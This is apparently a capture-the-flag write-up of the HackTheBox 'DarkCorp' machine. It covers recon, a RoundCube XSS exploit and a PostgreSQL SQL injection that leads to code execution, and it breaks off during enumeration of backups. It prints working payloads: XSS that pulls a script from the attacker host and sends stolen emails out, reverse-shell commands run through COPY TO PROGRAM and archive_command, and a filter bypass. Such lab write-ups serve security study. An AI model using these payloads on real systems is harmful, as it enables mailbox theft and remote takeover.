HTB: DarkCorp
DarkCorp lives up to its insane difficulty, with three hosts, including a Windows AD domain, and starts with a Debian web/mail server. I’ll exploit an XSS in RoundCube to get access to the admin’s emails, leaking a private subdomain. I’ll reset the admin’s password and get into the dashboard, identifying an SQLI. I’ll abuse PostgreSQL to get RCE from this two ways. In a PGP-encrypted backup I’ll find the hash for another user and crack it, getting auth to the domain. Those creds also get me into a website on the Windows web server that can do status checks on other websites. These checks will attempt NTLM authentication, and I’ll relay that to create a domain entry, and then use printer bug to get the WEB-01 box to authenticate to me, which I can relay to get a silver ticket for administrator on WEB-01. On that host I’ll find the local administrator account creds in the scheduled tasks, and use those to decrypt a stored credential. Password spraying that password will own another account on the domain. That user can get a shadow credential for another user. That user has a matching .adm account, and I’ll do UPN spoofing to get access to that admin account back on the original Linux host. With root access on that host, I’ll pull cached AD credentials from the SSSD database to pivot back to the DC. This user can modify a GPO, which I’ll abuse to get administrator access over the entire domain.
Box Info
| Name | DarkCorp Play on HackTheBox |
|---|---|
| Release Date | 08 Feb 2025 |
| Retire Date | 18 Oct 2025 |
| OS | Windows |
| Base Points | Insane [50] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 09:35:12 |
|
| 11:23:13 |
|
| Creators |
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-08 12:48 UTC
Initiating Ping Scan at 12:48
...[snip]...
Nmap scan report for 10.10.11.54
Host is up, received echo-reply ttl 127 (0.023s latency).
Scanned at 2025-10-08 12:48:38 UTC for 13s
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 127
80/tcp open http syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
Raw packets sent: 131082 (5.768MB) | Rcvd: 13 (556B)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-08 12:49 UTC
Nmap scan report for 10.10.11.54
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_ 256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.70 seconds
The OS identification data is mixed. On the one hand, the OpenSSH and nginx versions indicate that the host is likely running Debian 12 Bookworm. On the other hand, both ports show a TTL of 127, which matches the expected TTL for Windows one hop away. HackTheBox does present this box as a Windows box, which suggests a Linux container or VM running on a Windows host, or maybe even WSL.
Subdomain Fuzz
While nmap doesn’t call it out, visiting http://10.10.11.54 just redirects to http://drip.htb (with a 200 response and redirection in the JavaScript in the page). Given that the webserver is doing host-based routing, I’ll use ffuf to check for subdomains of drip.htb that respond differently:
oxdf@hacky$ ffuf -u http://10.10.11.54 -H "Host: FUZZ.drip.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.54
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.drip.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
mail [Status: 200, Size: 5323, Words: 366, Lines: 97, Duration: 61ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1388 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
It finds one, mail. I’ll add both to my /etc/hosts file:
10.10.11.54 drip.htb mail.drip.htb
drip.htb - TCP 80
Site
The site is for a webmail solutions company:
There’s a contact form on the page that sends a POST to /contact. It feels like it might be real. I’ll keep that in mind should I need an XSS or some other user interaction. There’s also a form to subscribe to the company mailing list. This one just sends a GET request to /index?email=[input], which almost certainly isn’t getting processed. Most of the links go to anchors on the page, but the “Signup” link goes to /signup, which offers a form:
The “Sign In” link goes to mail.drip.htb.
Tech Stack
The HTTP response headers don’t show much beyond nginx:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Thu, 09 Oct 2025 15:20:11 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Cookie
Content-Length: 20360
The main page is just /index, and doesn’t load as index.html or index.php. This is likely JavaScript or maybe Ruby or Python. The 404 page doesn’t help:
It’s actually the Volt Bootstrap theme from Themesberg. The demo page looks just like the website above:
This doesn’t really tell me what framework is running on the server.
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://drip.htb --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://drip.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 181w 3428c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 1l 21w 198c http://drip.htb/ => index
302 GET 1l 21w 214c http://drip.htb/contact => index#contact
200 GET 1l 1974w 20360c http://drip.htb/index
[####################] - 2m 30000/30000 0s found:3 errors:10
[####################] - 2m 30000/30000 235/s http://drip.htb/
Without --dont-extract-links it identifies a ton of uninteresting images, css, and JavaScript. With it, there’s nothing.
mail.drip.htb
Site
This site is an instance of RoundCube, a free and open-source webmail software:
If I register on the main site, those creds work here to login:
The welcome email gives a support email address:
Under “Settings” –> “Identities” I’ll see my account is the name I provided at drip.htb:
Tech Stack
This is clearly RoundCube. Clicking on the “About” menu item shows the version in a pop-up:
I will note that RoundCube uses two cookies, both of which has HttpOnly set to true:
This means I won’t be able to take them directly using XSS.
root
I am able to register a user named root, and on doing so, not only does it receive the welcome email, but also emails every two minutes from Cron:
This leaks another username (ebelford), as well as the fact that it’s using Dovecot as a mail server. I don’t believe this was intended, and doesn’t really give anything exploitable.
Shell as postgres@drip
Contact Us Form Modifications
Request
On submitting the contact us form, there’s an HTTP POST request:
POST /contact HTTP/1.1
Host: drip.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: http://drip.htb
Connection: keep-alive
Referer: http://drip.htb/index
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=0xdf&email=0xdf%40drip.htb&message=hello!%0D%0A&content=text&recipient=support%40drip.htb
Strangely, one of the fields is the recipient, one of two hidden fields on the form:
It’s odd to let the user control that.
Modify Recipient
I’ll submit the contact us form again, this time modifying the recipient field to be the account I created:
The email arrives, and it identifies a new email, bcase@drip.htb:
HTML
There’s another option in the POST parameters - content. It’s set to “text” by the form. Thinking about what other formats the mail may take, HTML is a reasonable guess. If I try adding HTML to the message without messing with content:
POST /contact HTTP/1.1
Host: drip.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
name=0xdf&email=0xdf@drip.htb&message=<body>This+is+an+<b>HTML</b>+message</body>&content=text&recipient=0xdf%40drip.htb
It doesn’t parse this in the email:
I’ll try changing it to “html”:
POST /contact HTTP/1.1
Host: drip.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
name=0xdf&email=0xdf@drip.htb&message=<body>This+is+an+<b>HTML</b>+message</body>&content=html&recipient=0xdf%40drip.htb
It processes that HTML in the email:
CVE-2024-42009
Identifying
Searching for vulnerabilities in this version of RoundCube, I’ll come across a few different interesting vulnerabilities. The most interesting is an RCE vulnerability, CVE-2025-49113. However, this vulnerability wasn’t released until June 2025, almost four months after DarkCorp’s release. I’ll poke at this in Beyond Root.
I’ll also find this post from Sonar Source goes into three CVEs that were patched in 1.6.8. CVE-2024-42008 and CVE-2024-42009 are both XSS vulnerabilities, and CVE-2024-42010 is an information leak via CSS. Of the two XSS CVEs, CVE-2024-42008 requires a user click, whereas CVE-2024-42009 just requires the email be viewed.
Background
The vulnerability for CVE-2024-42009 is described by Nist as:
A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.
The issue is that the email is initially sanitized using the washtml sanitizer in the print_body() function. After that, there is post processing that transforms the full HTML document into a snippet to embed in the page. This transformation is broken in how it removes the bgcolor attribute with this regex:
/\s?bgcolor=["\']*[a-z0-9#]+["\']*/i
It doesn’t check the context of the attribute, so by nesting it like this:
<body title="bgcolor=foo" name="bar onload=alert(origin)">
The regex matches on bgcolor=foo", removing it, resulting in:
<body title=" name="bar onload=alert(origin)">
This looks a little broken, but it effectively adds the onload attribute back into the HTML.
onload actually won’t work here, but the article suggests the following POC:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(origin) foo=bar">
Foo
</body>
Self POC
I’ll take what I have above from playing with the form to test this POC on DarkCorp:
On loading this email, there’s an alert popup!
When I dismiss that there’s just “Foo” as expected based on that HTML:
Self Load Script
Now I’ll try to load a script file from my host. I’ll get a payload like this:
var script = document.createElement('script');
script.src = 'http://10.10.14.8/script.js';
document.head.appendChild(script);
If I can get this working, it’s nice because then I can run the same payload over and over and just update script.js on my system. In fact, if I’m testing on a mailbox I control, I don’t even have to send the email again, but rather just reload the existing email.
Because quote marks are already used in the POC and the POC runs JS without any, I’ll base64-encode the payload and use eval(atob()) to run it:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc3JjID0gJ2h0dHA6Ly8xMC4xMC4xNC44L3NjcmlwdC5qcyc7CmRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=')) foo=bar">
Foo
</body>
Now I’ll URL encode that and send it. On loading the new email, there’s a request at my Python webserver:
10.10.14.8 - - [13/Oct/2025 19:54:10] code 404, message File not found
10.10.14.8 - - [13/Oct/2025 19:54:10] "GET /script.js HTTP/1.1" 404 -
bcase POC
To use this XSS, I’ll need to get this payload into someone else’s browser window. As bcase@drip.htb is the admin, they seem like a good target. I’ll update the recipient field and send it. Within a minute, I get another request, this time from DarkCorp:
10.10.11.54 - - [13/Oct/2025 20:00:29] code 404, message File not found
10.10.11.54 - - [13/Oct/2025 20:00:29] "GET /script.js HTTP/1.1" 404 -
Read Mail
JavaScript
Given that I know the recipient will be in RoundCube, it makes sense to try to read their mail. In the inbox, the URL http://mail.drip.htb/?_task=mail&_mbox=INBOX is what shows the full mailbox. I can try to exfil this, but testing on my own account shows that it doesn’t actually return anything useful.
I’ll note the link in each email to open it in a new window:
That opens the URL http://mail.drip.htb/?_task=mail&_action=show&_uid=13&_mbox=INBOX&_extwin=1, where 13 is the email ID.
I’ll update my script.js to get a range of emails:
for (let i = 1; i <= 15; i++) {
fetch(`http://mail.drip.htb/?_task=mail&_action=show&_uid=${i}&_mbox=INBOX&_extwin=1`, {mode: 'no-cors'})
.then((resp) => resp.text())
.then((text) => fetch(`http://10.10.14.8/?id=${i}&exfil=` + btoa(text))
)
}
Webserver
When I use this on myself, I get a bunch of emails. I could catch these using python -m http.server and then manually decode them, but to make life easier, I’ll have Claude write me a simple Flask server to process incoming exfil:
# /// script
# requires-python = ">=3.11"
# dependencies = [
# "flask",
# ]
# ///
from flask import Flask, request, send_file
import base64
import logging
app = Flask(__name__)
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route('/')
def index():
query_string = request.query_string.decode('utf-8')
mid = None
exfil = None
for param in query_string.split('&'):
if '=' in param:
key, value = param.split('=', 1)
if key == 'id':
mid = value
elif key == 'exfil':
exfil = value
decoded = base64.b64decode(exfil)
if not b'SERVER ERROR!' in decoded:
fn = f'bcase_{mid}.html'
with open(fn, 'wb') as f:
f.write(decoded)
print(f'Wrote email to {fn}')
return 'Request received'
@app.route('/script.js')
def serve_script():
try:
return send_file('script.js', mimetype='application/javascript')
except FileNotFoundError:
return 'File not found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
I have to parse the parameters in a janky way because if I use request.get('exfil'), it URL decodes the + in the data as space, and breaks the decode.
Emails
When I run this and send an email to bcase, I get:
oxdf@hacky$ uv run --script server.py
* Serving Flask app 'server'
* Debug mode: off
Wrote email to bcase_0.html
Wrote email to bcase_1.html
Wrote email to bcase_2.html
Wrote email to bcase_3.html
Opening those in Firefox shows the messages. 0 is a draft message without any anything interesting:
1 is the into email:
3 is an email I sent to trigger the XSS (I think this gets cleaned up so when I trigger again it’ll be 3 as well unless other players are sending as well between cleanups):
2 is interesting:
It comes from ebelford, and reveals a new dashboard.
SQLi RCE
Access to Dev Dashboard
I’ll add dev-a3f1-01.drip.htb to my hosts file pointing to the same IP. Fortunately for me, I am able to access it directly from my host:
Clicking “Login” leads to /login, which presents a form:
I don’t have any working creds, but there’s a “Reset Password” link:
I’ll enter bcase@drip.htb:
I’ll resend the contact form and there’s an additional email:
Visiting the link offers the chance to reset the password:
Logging in with bcase / 0xdf (the password I set) works:
SQLi
There’s an “Analytics” option in the menu bar that leads to /analytics:
Weirdly, any search pops an SQL error:
The error message shows that it’s running PostgreSQL. It seems the query is missing quote marks around the user input, and maybe has some trailing junk. I can fix it by sending '0xdf';-- -:
That’s SQL injection. A quick check shows that stacked queries are enabled as well, meaning I can query basically whatever I want:
RCE via COPY TO/FROM PROGRAM
PayloadsAllTheThings has a section on getting RCE from Postgres with this POC:
COPY (SELECT '') to PROGRAM 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
In the Out of Band section there’s this POC:
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
With some trial and error (it’s very nice to have the full PSQL errors come in response), I can combine these to get something working here that looks like:
'0xdf'; DO $$ DECLARE cmd text; BEGIN cmd := 'COPY (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'''; EXECUTE cmd; END $$;
The DO \(syntax creates a PL/pgSQL anonymous code block (the\) are string delimiters for multi-line code) - this gives us a full procedural programming environment within SQL where we can declare variables, execute commands, and capture/exfiltrate output instead of just running blind SQL commands.
This won’t work, and that’s because there’s some kind of mitigation in place removing the string “COPY” from queries. I can see this if I search for “0xdf COPY 0xdf”:
I can get around this by encoding the first character of COPY:
'0xdf';DO $$ DECLARE cmd text; BEGIN cmd := CHR(67) || 'OPY (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'''; EXECUTE cmd; END $$;
On sending this, I immediately get a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 60444
bash: cannot set terminal process group (126146): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$
I’ll upgrade my shell using the standard trick:
postgres@drip:/var/lib/postgresql/15/main$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@drip:/var/lib/postgresql/15/main$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
postgres@drip:/var/lib/postgresql/15/main$
RCE via archive_command
There’s a nice post from The Gray Area on getting RCE from Postgres if the SQLi has superuser access, which I do:
“on” means yes. The article goes into detail, but the shorter version is that I’m going to read the Postgres config, add some lines to it enabling archiving with an archive_command, and then write that back in place and reload it.
archive_mode is currently set to “on”:
archive_command returns nothing.
I’ll try to read the config file from the path in the article:
'0xdf'; select lo_import('/etc/postgresql/10/main/postgresql.conf');-- -
The file doesn’t exist:
The 10 is the version, and above it showed version 15. That works:
Now I can read that file using the returned ID:
'0xdf'; select encode(lo_get(114575), 'escape');-- -
It works:
The existing archive_mode is set to “on” and the archive_command to an empty string. I’ll save this to a local copy, and modify these lines:
archive_mode = 'always'
archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'
archive_timeout = 1
I’ll also remove a ton of comments to make getting it back in place easier.
Now I’ll base64-encode that and write it back to DarkCorp, first setting a temp storage with lo_from_bytea:
'0xdf'; select lo_from_bytea(223, decode('ZGF0YV9kaXJlY3RvcnkgPSAnL3Zhci9saWIvcG9zdGdyZXNxbC8xNS9tYWluJyAgICAgICAgICAjIHVzZSBkYXRhIGluIGFub3RoZXIgZGlyZWN0b3J5CmhiYV9maWxlID0gJy9ldGMvcG9zdGdyZXNxbC8xNS9tYWluL3BnX2hiYS5jb25mJyAgICAgICAgIyBob3N0LWJhc2VkIGF1dGhlbnRpY2F0aW9uIGZpbGUKaWRlbnRfZmlsZSA9ICcvZXRjL3Bvc3RncmVzcWwvMTUvbWFpbi9wZ19pZGVudC5jb25mJyAgICAjIGlkZW50IGNvbmZpZ3VyYXRpb24gZmlsZQpleHRlcm5hbF9waWRfZmlsZSA9ICcvdmFyL3J1bi9wb3N0Z3Jlc3FsLzE1LW1haW4ucGlkJyAgICAgICAgICAgICAgICAgICAjIHdyaXRlIGFuIGV4dHJhIFBJRCBmaWxlCnBvcnQgPSA1NDMyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIChjaGFuZ2UgcmVxdWlyZXMgcmVzdGFydCkKbWF4X2Nvbm5lY3Rpb25zID0gMTAwICAgICAgICAgICAgICAgICAgICMgKGNoYW5nZSByZXF1aXJlcyByZXN0YXJ0KQp1bml4X3NvY2tldF9kaXJlY3RvcmllcyA9ICcvdmFyL3J1bi9wb3N0Z3Jlc3FsJyAjIGNvbW1hLXNlcGFyYXRlZCBsaXN0IG9mIGRpcmVjdG9yaWVzCnNzbCA9IG9mZgpzc2xfY2VydF9maWxlID0gJy9ldGMvc3NsL2NlcnRzL3NzbC1jZXJ0LXNuYWtlb2lsLnBlbScKc3NsX2tleV9maWxlID0gJy9ldGMvc3NsL3ByaXZhdGUvc3NsLWNlcnQtc25ha2VvaWwua2V5JwpzaGFyZWRfYnVmZmVycyA9IDEyOE1CICAgICAgICAgICAgICAgICAgIyBtaW4gMTI4a0IKZHluYW1pY19zaGFyZWRfbWVtb3J5X3R5cGUgPSBwb3NpeCAgICAgICMgdGhlIGRlZmF1bHQgaXMgdXN1YWxseSB0aGUgZmlyc3Qgb3B0aW9uCm1heF93YWxfc2l6ZSA9IDFHQgptaW5fd2FsX3NpemUgPSA4ME1CCmxvZ19saW5lX3ByZWZpeCA9ICclbSBbJXBdICVxJXVAJWQgJyAgICAgICAgICAgICMgc3BlY2lhbCB2YWx1ZXM6CmxvZ190aW1lem9uZSA9ICdVUy9Nb3VudGFpbicKY2x1c3Rlcl9uYW1lID0gJzE1L21haW4nICAgICAgICAgICAgICAgICAgICAgICAgIyBhZGRlZCB0byBwcm9jZXNzIHRpdGxlcyBpZiBub25lbXB0eQpkYXRlc3R5bGUgPSAnaXNvLCBtZHknCnRpbWV6b25lID0gJ1VTL01vdW50YWluJwpsY19tZXNzYWdlcyA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAjIGxvY2FsZSBmb3Igc3lzdGVtIGVycm9yIG1lc3NhZ2UKbGNfbW9uZXRhcnkgPSAnZW5fVVMuVVRGLTgnICAgICAgICAgICAgICAgICAgICAgIyBsb2NhbGUgZm9yIG1vbmV0YXJ5IGZvcm1hdHRpbmcKbGNfbnVtZXJpYyA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAgIyBsb2NhbGUgZm9yIG51bWJlciBmb3JtYXR0aW5nCmxjX3RpbWUgPSAnZW5fVVMuVVRGLTgnICAgICAgICAgICAgICAgICAgICAgICAgICMgbG9jYWxlIGZvciB0aW1lIGZvcm1hdHRpbmcKZGVmYXVsdF90ZXh0X3NlYXJjaF9jb25maWcgPSAncGdfY2F0YWxvZy5lbmdsaXNoJwppbmNsdWRlX2RpciA9ICdjb25mLmQnICAgICAgICAgICAgICAgICAgIyBpbmNsdWRlIGZpbGVzIGVuZGluZyBpbiAnLmNvbmYnIGZyb20KYXJjaGl2ZV9tb2RlID0gJ2Fsd2F5cycKYXJjaGl2ZV9jb21tYW5kID0gJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOC80NDMgMD4mMSInCmFyY2hpdmVfdGltZW91dCA9IDEK', 'base64'));-- -
The ID is just arbitrary, but I’ll use it to write that to the config location in /etc:
'0xdf'; select lo_export(223, '/etc/postgresql/15/main/postgresql.conf');-- -
For these changes to take effect, I need to reload the config with:
A short time later, I get a shell at nc:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.54 60508
bash: cannot set terminal process group (628): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$
Auth as Victor@darkcorp.htb
Enumeration
Container
The current hostname is drip, and the IP address is 172.16.20.3:
postgres@drip:/var/lib/postgresql/15/main$ hostname
drip
postgres@drip:/var/lib/postgresql/15/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.20.3 netmask 255.255.255.0 broadcast 172.16.20.255
ether 00:15:5d:84:03:02 txqueuelen 1000 (Ethernet)
RX packets 1285098 bytes 136182109 (129.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1285639 bytes 134586870 (128.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 2864802 bytes 779017931 (742.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2864802 bytes 779017931 (742.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
This suggests I’m running in a container or VM (as suspected during nmap scanning). Given that the host is Windows, it seems likely a VM.
Home Directories
Three uses have directories in /home:
postgres@drip:/home$ ls
bcase ebelford vmail
vmail doesn’t have a shell set in passwd, and postgres does:
postgres@drip:/home$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
bcase:x:1000:1000:Bryce Case Jr.,,,:/home/bcase:/bin/bash
postgres:x:102:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ebelford:x:1002:1002:Eugene Belford:/home/ebelford:/bin/bash
postgres can’t access bcase, and the others are empty:
postgres@drip:/home$ find . -type f
find: ‘./bcase’: Permission denied
./vmail/.bashrc
./vmail/.bash_logout
./vmail/.profile
There is a .gnupg directory in the postgres user’s home directory:
postgres@drip:/var/lib/postgresql$ ls -la
total 24
drwxr-xr-x 5 postgres postgres 4096 Feb 5 2025 .
drwxr-xr-x 42 root root 4096 Feb 3 2025 ..
drwxr-xr-x 3 postgres postgres 4096 Jan 10 2025 15
lrwxrwxrwx 1 root root 9 Jan 10 2025 .bash_history -> /dev/null
drwx------ 4 postgres postgres 4096 Feb 5 2025 .gnupg
-rw------- 1 postgres postgres 20 Feb 3 2025 .lesshst
drwxr-xr-x 3 postgres postgres 4096 Jan 10 2025 .local
lrwxrwxrwx 1 root root 9 Jan 10 2025 .psql_history -> /dev/null
postgres@drip:/var/lib/postgresql$ ls .gnupg/
openpgp-revocs.d pubring.kbx random_seed
private-keys-v1.d pubring.kbx~ trustdb.gpg
Postgres
I can connect directly to the database by running psql:
postgres@drip:/$ psql
psql (15.10 (Debian 15.10-0+deb12u1))
Type "help" for help.
postgres=#
There are five databases:
dripmail=# \list
WARNING: terminal is not fully functional
Press RETURN to continue
List of databases
Name | Owner | Encoding | Collate | Ctype | ICU Locale |
Locale Provider | Access privileges
-----------+---------------+----------+-------------+-------------+------------+
-----------------+---------------------------------
dripmail | dripmail_dba | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
libc | =Tc/dripmail_dba +
| | | | | |
| dripmail_dba=CTc/dripmail_dba
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
libc |
roundcube | roundcubeuser | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
libc | =Tc/roundcubeuser +
| | | | | |
| roundcubeuser=CTc/roundcubeuser
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
libc | =c/postgres +
| | | | | |
| postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | |
libc | =c/postgres +
| | | | | |
| postgres=CTc/postgres
(5 rows)
I’ll connect to dripmail:
dripmail=# \connect dripmail
You are now connected to database "dripmail" as user "postgres".
There are two tables:
dripmail=# \dt
List of relations
Schema | Name | Type | Owner
--------+--------+-------+----------
public | Admins | table | postgres
public | Users | table | postgres
(2 rows)
I’ll dump both:
dripmail=# select * from "Admins";
id | username | password | email
----+----------+----------------------------------+----------------
1 | bcase | 465e929fc1e0853025faad58fc8cb47d | bcase@drip.htb
(1 row)
dripmail=# select * from "Users";
WARNING: terminal is not fully functional
Press RETURN to continue
id | username | password | email |
host_header
| ip_address
------+----------+----------------------------------+-------------------+-------
--------------------------------------------------------------------------------
----------------------------------------+-------------
5001 | support | d9b9ecbf29db8054b21f303072b37c4e | support@drip.htb | Mozill
a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/128.0.0.0 Safari/537.36 OPR/114.0.0.0 | 10.0.50.10
5002 | bcase | 1eace53df87b9a15a37fdc11da2d298d | bcase@drip.htb | Mozill
a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/128.0.0.0 Safari/537.36 OPR/114.0.0.0 | 10.0.50.10
5003 | ebelford | 0cebd84e066fd988e89083879e88c5f9 | ebelford@drip.htb | Mozill
a/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
e/128.0.0.0 Safari/537.36 OPR/114.0.0.0 | 10.0.50.10
5004 | 0xdf | 465e929fc1e0853025faad58fc8cb47d | 0xdf@drip.htb | Mozill
a/5.0 (X11; Ubuntu; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0
| 172.16.20.1
(4 rows)
These passwords look like MD5s, but only the admin bcase cracks, because I set it!
Postgres Logs / SSH
In the logs, there is a different password hash for ebelford:
postgres@drip:/var/log/postgresql$ ls
postgresql-15-main.log postgresql-15-main.log.5.gz
postgresql-15-main.log.1 postgresql-15-main.log.6.gz
postgresql-15-main.log.2.gz postgresql-15-main.log.7.gz
postgresql-15-main.log.3.gz postgresql-15-main.log.8.gz
postgresql-15-main.log.4.gz postgresql-15-main.log.9.gz
postgres@drip:/var/log/postgresql$ zcat *.gz | grep ebelford
2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT: UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;
CrackStation will crack that to “ThePlague61780”.
This password actually works for SSH for ebelford:
oxdf@hacky$ sshpass -p 'ThePlague61780' ssh ebelford@drip.htb
Warning: Permanently added 'drip.htb' (ED25519) to the list of known hosts.
Linux drip 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
Last login: Wed Feb 5 12:47:18 2025 from 172.16.20.1
ebelford@drip:~$
This doesn’t give me much other than an easier way to make tunnels using SSH rather than something like Chisel, and I’m not sure it was intended as part of the path.
Backup
In /var/backups there’s a directory named postgres:
postgres@drip:/var/backups$ ls
alternatives.tar.0 alternatives.tar.4.gz apt.extended_states.2.gz dpkg.arch.0 dpkg.arch.4.gz dpkg.diversions.3.gz dpkg.statoverride.2.gz dpkg.status.1.gz postgres
alternatives.tar.1.gz alternatives.tar.5.gz apt.extended_states.3.gz dpkg.arch.1.gz dpkg.diversions.0 dpkg.diversions.4.gz dpkg.statoverride.3.gz dpkg.status.2.gz
